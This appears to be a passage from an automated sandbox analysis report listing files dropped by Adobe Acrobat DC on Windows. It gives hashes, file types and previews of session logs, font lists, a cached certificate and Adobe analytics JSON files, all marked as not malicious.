SHA-256:	645F0A50EA4DAAA3BB1A83832102F62ACF4EB15E0B6CDA85895AD34B1EA56273
SHA-512:	8146C5AACCDA7FA99A7B0A5F85CC1275CFCA609804D2972AD36540D733E91891A3922128BCEBD4A409A2EEE2B398C75FC00D17AFE0115F958E0A8F54EA6F2BAA
Malicious:	false
Preview:	2025/01/10-13:06:19.517 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:06:19.519 1c84 Recovering log #3.2025/01/10-13:06:19.520 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444868440751849
Encrypted:	false
SSDEEP:	384:Ce7ci5t8iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:bbs3OazzU89UTTgUL
MD5:	FFF246B0B5FBF726DAC85136AF792E5D
SHA1:	F1124371F258FE29516EC07B10E95D28F089C2D3
SHA-256:	126CBA90714FE1492DDB8A1A86EF0BB7AE91D52956944D10550A47AE5EEC636E
SHA-512:	0A8A1ACAFA5DE7CFFFFAC73C99C927506D45FB151ADC67BCE25682483351222E90DEF710922D8A98102F04F3095ECBA08F2D5DC46669D9CC3F01A08BE1D51E23
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.21390322653075
Encrypted:	false
SSDEEP:	48:7MnRnCHRq/mFTIF3XmHjBoGGR+jMz+Lhz:7YRncRr9IVXEBodRBkp
MD5:	3C64EC5A82133B301C1C1D84BB6857F3
SHA1:	99232494D6553AC60FFAA0C64726EF60968C0C59
SHA-256:	8A726A732B02D0ABBC913E9641C0C0D0B147F1D15C25B8C048D3A8ED6EC36AAD
SHA-512:	136246B2347D84CAF4DC75E46624F9E7580FEC001E0928D89F827E96F5E079E28136B7B5D7D677B4DF34B82D07C91C8DC8B051A6574AD949ECEF942D340052D4
Malicious:	false
Preview:	.... .c.......8.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7439124905820815
Encrypted:	false
SSDEEP:	3:kkFklv1RDtfllXlE/HT8k7X/XNNX8RolJuRdxLlGB9lQRYwpDdt:kK0DeT8yvdNMa8RdWBwRd
MD5:	D1E7B93BB066D4BB7C1A66E046AB0BBD
SHA1:	21536262F7C8E382B2274D68D0602556F69D5227
SHA-256:	DF92B261BA4317238EFAB756B683026414D6FB0C734EA57A24A1275AE07C3258
SHA-512:	3114709F28498DF24F5A7D28EA38229F2659A0CBE08C890CC4DC97C59DF9678456044A887A0A647101A7047C4F3293B2905B0A14C0F411BAA5F02799AAFA3049
Malicious:	false
Preview:	p...... ........\..a.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7860

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7860

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.353405241708459
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJM3g98kUwPeUkwRe9:YvXKXBJCEEZc0vxYH5GMbLUkee9
MD5:	F89893FAD77654FA88FE4418B381B1E6
SHA1:	1012A074FB2478201C209E9AFA5B434BB767B6C2
SHA-256:	605547021F8176C83F03AE29C8C34DB8D35452DB4904FB2A9847B26F2FEEE2C0
SHA-512:	FDBF6B08C55FA651C9CE1AB852A9893A2989F75923ABEFFEBB3A5CB07E037B7F62C5C572CFD08283FE333C11D19815BF064BCC526BE0E65C540ED6585FAAC01C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302935320889924
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfBoTfXpnrPeUkwRe9:YvXKXBJCEEZc0vxYH5GWTfXcUkee9
MD5:	334F5D8D3ABAE46CA7F998605580820A
SHA1:	1B37F39F707F32EEBE0EF75139B2A3336D3718AB
SHA-256:	7F91C4194E2D7996BC149A754BDE2667634E30120782A648195E5707E23DCF6B
SHA-512:	08929D931E442953C309E592E54B34CA665AF3EAE55B715F9873F9D321EF7477C3A5020636AD43465207576DA58EE4AC8BC510ECE337BEA3BB3F4CC7D76B4EA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281930356285001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXBJCEEZc0vxYH5GR22cUkee9
MD5:	790A449BA2D0DADB55548E59EF1A66BC
SHA1:	AC28D571F2CFA49B07B6EF38AAF7D7270C19597D
SHA-256:	42391F750CB8CC6FAFAA1CD149057652645B29A67CDCB57338E9ECD885EC6726
SHA-512:	E8F0921B99971CB112D7BA34EFBAA24C883E6C6B9446C656CBF51EFBF29AFFBDEDF76B4A3F59458EE90A34EADDB299578D499E026501EE76D32CC1B9098BA040
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.340066339320856
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfPmwrPeUkwRe9:YvXKXBJCEEZc0vxYH5GH56Ukee9
MD5:	9C53B0FC353CEAAFEA12F4D5AB1C7EA1
SHA1:	2AB68B21B53AB7A6F32AE7D7CC60B6ADB4C25CA4
SHA-256:	D379C867B8997AF2321696E92A9AA6B5C3B3B54BF5AFFE86BD6396C41199B4C2
SHA-512:	B65BE1A3BBE5725E2B1C6650690A25667A961DAED2B990C88188BDC8D76799C0C7C68F9D683D6C2D5EE33AE8E98EFAF1FD0804C07500F79359AFC5869C1B4B99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68670500183603
Encrypted:	false
SSDEEP:	24:Yv6XBjEzvUepLgE9cQx8LennAvzBvkn0RCmK8czOCCSq:YvF8ehgy6SAFv5Ah8cv/q
MD5:	FD761DDFA39E72CBD5271787CBE5E908
SHA1:	FFECACCAF70D8CF9BF1E318C71BAC62C6F36DA0E
SHA-256:	CA32A9220AD04EF9C7A182107B1152886581E9201767396831C1BBDC2D99CA8F
SHA-512:	9EA6FC4407446F47F7849F0C88151C4A8EA6F568BE4341940482649ED8DAC2C9EA85E6EBBECDB6894D74385D532F35BF2C6ECEA3FB10F9DDBD88AF3E922AB8E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286540439955694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJf8dPeUkwRe9:YvXKXBJCEEZc0vxYH5GU8Ukee9
MD5:	6B00DFF8DF69E138A9410E6A76E3BC63
SHA1:	DFDE127871A308DC48A60C38AEF01D81B5CC4097
SHA-256:	EB1459A97C48276C6B9D1E9120314C317255D0BEF499F30ECE31C0A33E10D23E
SHA-512:	957AB1A6A106466CF1355B1C056299809D6EBF34444A93EC885FE57799D721925A9A4E8185D999E3B2FD34A62E0E37E6D0C8A4CB0134B0E7572778ABB5106DBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.291144784855179
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfQ1rPeUkwRe9:YvXKXBJCEEZc0vxYH5GY16Ukee9
MD5:	642E9558A5652F95D130F1ED38507D78
SHA1:	E40296A0DCDF0D5B7CA5E15E6A41D5F18231C300
SHA-256:	E0A0195FF9F7FB1EA9ABA4BBD221EBB83B44465FA796AE80DD1C22073E210B5F
SHA-512:	00460D0B8611F5868DC4AD6948E22ADB81FD6E3BE0C7AE9268F0AC77DDED562E27ECBBE5CAC5B13EC6D9DFE77F3614FDF2989936D9C7426F913B8F79B888F55F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2963486559688455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfFldPeUkwRe9:YvXKXBJCEEZc0vxYH5Gz8Ukee9
MD5:	0076542BDF61623D18B65381AB45E956
SHA1:	72D4AF5F177F90B32320BE4588778588BF3C2461
SHA-256:	2165FE6D40C772CEA505F75EA741EFADC0B842BA36A4F233B7F5296AAEAC18F4
SHA-512:	514B787BB0B5175503D1E9B86F60F5BFE6E2376667834CC50A6D92D5EE85AA31DF708E5200207DD6B46DC06C190E570987180DFEFA414E9B165A2E354ED9A4A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.311314120833229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfzdPeUkwRe9:YvXKXBJCEEZc0vxYH5Gb8Ukee9
MD5:	DBF946A414ADC9957EB49EAC16529C43
SHA1:	C0F1B9372A866433F9D353FEBC50A6ADA15EABDE
SHA-256:	CE1BFA9E42623301784600014EF8745E62353E412B42724C8D98990FE6DA623B
SHA-512:	6D7931BCC0F35D195A365C99858E6D245856B4B6C7B54E63B09D539C591CD4EA14ED14F707CD0633A728EA07240F612604E5686D1B1E1B8452F668C01FF38910
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292331083043252
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJfYdPeUkwRe9:YvXKXBJCEEZc0vxYH5Gg8Ukee9
MD5:	723960317876FF307DB1DB10BF10C9CC
SHA1:	96AA8F1248DBD9046C284ADD70A3029C44A7D93D
SHA-256:	6745E039953B7AEA6D301765A467B464138FC5E1725FA15BF520CBDBE2C4BFD1
SHA-512:	0D683DF488B50B7992B2B720C6050ECCA7A9FD982E34138738B43D0CC02888EF24CACA28BBADD915D9644100B09AAFB17DB3F56FB6682F1136C1DF25BAE8388A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.278545430650163
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDU2k2TCEHdVoZcg1vRcR0YUzcHKoAvJf+dPeUkwRe9:YvXKXBJCEEZc0vxYH5G28Ukee9
MD5:	64E588B0875E220D3C884595AE6143D2
SHA1:	65E4AE1DB7AFD320731DAEB86BCC848AC45A9845
SHA-256:	02475C7FD49F795734997944501E8383D520F19102356D8C011FD93A88D60D1D
SHA-512:	DE202F085B865C04BA96A4EF258124AC59937EDEBB4A895493F200C6AB978D4279EB0FB10068A0F07EA6472715F52720220A47EB76FB8E7012F3EC239165D219
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4152168e-6a5f-43bc-a796-5bd451ae27a2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736709041405,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

